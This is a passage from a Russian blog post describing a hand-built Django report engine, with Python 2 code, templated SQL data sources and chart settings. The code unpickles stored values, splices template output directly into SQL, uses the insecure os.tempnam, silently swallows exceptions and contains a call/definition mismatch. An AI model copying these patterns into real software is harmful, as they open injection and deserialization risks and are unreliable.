self._env = EnvirementManager(request=request, user_params=self._get_user_params(), forms={}, f={})
self._datasets = {}
self._widgets_table = {}
self._widgets_chart = {}
self._load_stored_filter_values()
# Сборка фильтров
for filter_obj in self._report.forms.only('title', 'html_layout'):
filter_manager = FilterManager(self._request, filter_obj, self._env)
self._save_stored_filter_values(filter_manager.get_changed_data())
self._forms[filter_obj.title] = filter_manager
self._env['forms'] = self._forms
# Собираем источники данных
for ds in self._report.datasets.only('sql', 'title', 'xml_settings'):
self._datasets[ds.title] = DatasetManager(request, ds, self._env)
self._env['datasets'] = self._datasets
# Собираем виджет-таблицы
for widget_obj in self._report.widgets_table.only('title', 'dataset', 'table_header', 'xml_settings'):
self._widgets_table[widget_obj.title] = WidgetTableManager(self._request,
widget_obj,
self._datasets[widget_obj.dataset.title],
self._env)
self._env['tables'] = self._widgets_table
# Виджеты - графики
for chart_obj in self._report.widgets_chart.only('title', 'dataset', 'xml_settings'):
self._widgets_chart[chart_obj.title] = WidgetChartManager(self._request,
chart_obj,
self._datasets[chart_obj.dataset.title],
self._env)
self._env['charts'] = self._widgets_chart
def get_request(self):
u''' Результат отчета '''
response_type = self._request.REQUEST.get('response_type', 'html')
if response_type == 'xls':
return self._get_request_xls(self._request.REQUEST['xls'])
elif response_type == 'template':
return self._get_request_template(self._request.REQUEST['template'])
else:
return self._get_request_html()
def _get_request_html(self):
u''' Вернуть результат в виде html для вывода на экран '''
context = {'favorite_reports': self._user.reports_favorited.all()}
context['report_body'] = self._env.render(self._report.html_layout)
context['breadcrumbs'] = (('Отчеты', reverse('reports_home')), (self._report.title, None))
context['filter_presets'] = self._report.filter_presets.filter(user=self._user)
context['report'] = self._report
return render(self._request, 'reports_report.html', context)
def _get_request_template(self):
u''' Вернуть результат в виде html для вывода на экран '''
# TODO
raise NotImplementedError(u'Не реализовано')
def _get_request_xls(self, dataset_title):
u""" Вернуть результат выгрузки в xls """
dataset = self._datasets[dataset_title]
(columns, data) = dataset.get_data()
w = Workbook(optimized_write=True)
sheet = w.create_sheet(0)
sheet.append(columns)
rows_in_sheet = 0
for row in data:
if rows_in_sheet > 1000000:
sheet = w.create_sheet()
sheet.append(columns)
rows_in_sheet = 0
sheet.append(row)
rows_in_sheet += 1
try:
tmpFileName = os.tempnam()
w.save(tmpFileName)
fh = open(tmpFileName, 'rb')
resp = HttpResponse(fh.read(), 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet')
finally:
if fh:
fh.close()
os.unlink(tmpFileName)
resp['Content-Disposition'] = 'attachment; filename="Выгрузка.xlsx"'
return resp
def _get_request_document_template(self, template_title):
u""" Вернуть ответ, сгенерировав документ по шаблону """
pass
def _save_stored_filter_values(self, values):
u"""
Записать значения фильтров в базу и в _env
Если результат не html, то в базу ничего не сохраняем,
потому что не происходит перезагрузки страницы и не нужно восстанавливать значения фильтров
"""
for key, value in values.items():
self._env['f'][key] = value
if values.get('response_type', 'html') == 'html':
(store_item, is_created) = models.WidgetFormStorage.objects.get_or_create(user=self._user, report=self._report, key=key)
store_item.value = pickle.dumps(value)
store_item.save()
def _load_stored_filter_values(self):
u""" Загрузить значения форм, считав их из базы данных """
for item in self._report.form_storage.all():
self._env['f'][item.key] = pickle.loads(item.value)
def _get_user_params(self):
u""" Вернуть параметры пользователя """
params = {}
try:
param_string = models.UserAccess.objects.get(report=self._report, user=self._user).params
if param_string:
for pair in param_string.split(';'):
(key, values_str) = pair.split('=')
values = values_str.split(',')
params[key] = values
except Exception, e:
pass
return params
```
Имеет только один публичный метод, который возвращает httpResponse (html, вложение или xlsx)
Вот, в общем-то и все.
Интерфейс администратора описывать не стал.
css от bootstrap
Немного практики и картинок
---------------------------
**Источник данных ds**
```
select key, value, value * 0.5 as value1 from (
select 1 as key, 2000 as value union all
select 2 as key, 4000 as value union all
select 3 as key, 6000 as value union all
select 4 as key, 3000 as value union all
select 5 as key, 2000 as value union all
select 6 as key, 1000 as value
) t
{% if f.doble_rows %}cross join (select 1 union all select 2) t1 {% endif %}
```
**Источник данных ds1**
```
select
t.key as key,
t.value as value,
case when key = 1 then 'background-color: #dff0d8;' end as row_style_field,
case when key = 2 then 'class="error"' end as row_attribute_field
{% if f.add_column %}
{% for row in datasets.ds.data %}
, {{row.key}} as Поле{{row.key}}
{% endfor %}
{% endif %}
from ({{datasets.ds.sql}}) t
{% if request.GET.key %} where key = [[request.GET.key]] {% endif %}
{% if f.limit %} limit [[f.limit]] {% endif %}
```
Табличный виджет t:
Создадим, выбрав из списка источник ds1
и прописав название. Все остальное не трогаем.
**Таблица t1 (на ds1)**
```
{% for row in datasets.ds.data %}
{% endfor %}
```
**Таблица t1 (на ds1)**
```
{% for row in datasets.ds.data %}
{% endfor %}
```
**График test (на ds)**
```
key
32
true
50
true
regular
0.07
true
column
Отказы
value
[[category]] дней: [[value]] шт.
0
0.6
column
Не отказы
value1
[[category]] дней: [[value]] шт.
0
0.6
```
**График test1 (на ds)**
```
key
32
true
50
true
0.07
true
column
Отказы
value
[[category]] дней: [[value]] шт.
0
0.6
column
Не отказы
value1
[[category]] дней: [[value]] шт.
0
0.6
smoothedLine
Не отказы
value1
```
**Размещаем на экране**
```
Работа с источниками данных
---------------------------
{{forms.f}}
### После пре-процессора django template
```
sql:{{datasets.ds1.render.sql}}
параметры:{{datasets.ds1.render.binds}}
```
### После выполнения
{{tables.t}}
[В Excel](?response_type=xls&xls=ds1)
Визуализация данных
-------------------
{{tables.t1}}
{{charts.test}}
{{charts.test1}}
```
**Админка выглядит так**
**Вот что получилось**Список отчетов:
Наш отчет:
Хочу сказать спасибо за помощь Павлу, Александру, Евгению.
Спасибо за внимание. Если хотите, можете взять это из репозитория и использовать по своему усмотрению.
[bitbucket.org/dibrovsd/py\_docflow](https://bitbucket.org/dibrovsd/py_docflow/)
P.S. в репозитории есть еще практически законченное приложение документооборота,
но о нем немного позже, если вам это будет интересно.
P.P.S.
Наверняка найдется множество неоптимальных решений, с python и django я знаком недавно.
Все конструктивные предложения прошу писать в «личку». | https://habr.com/ru/post/177567/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.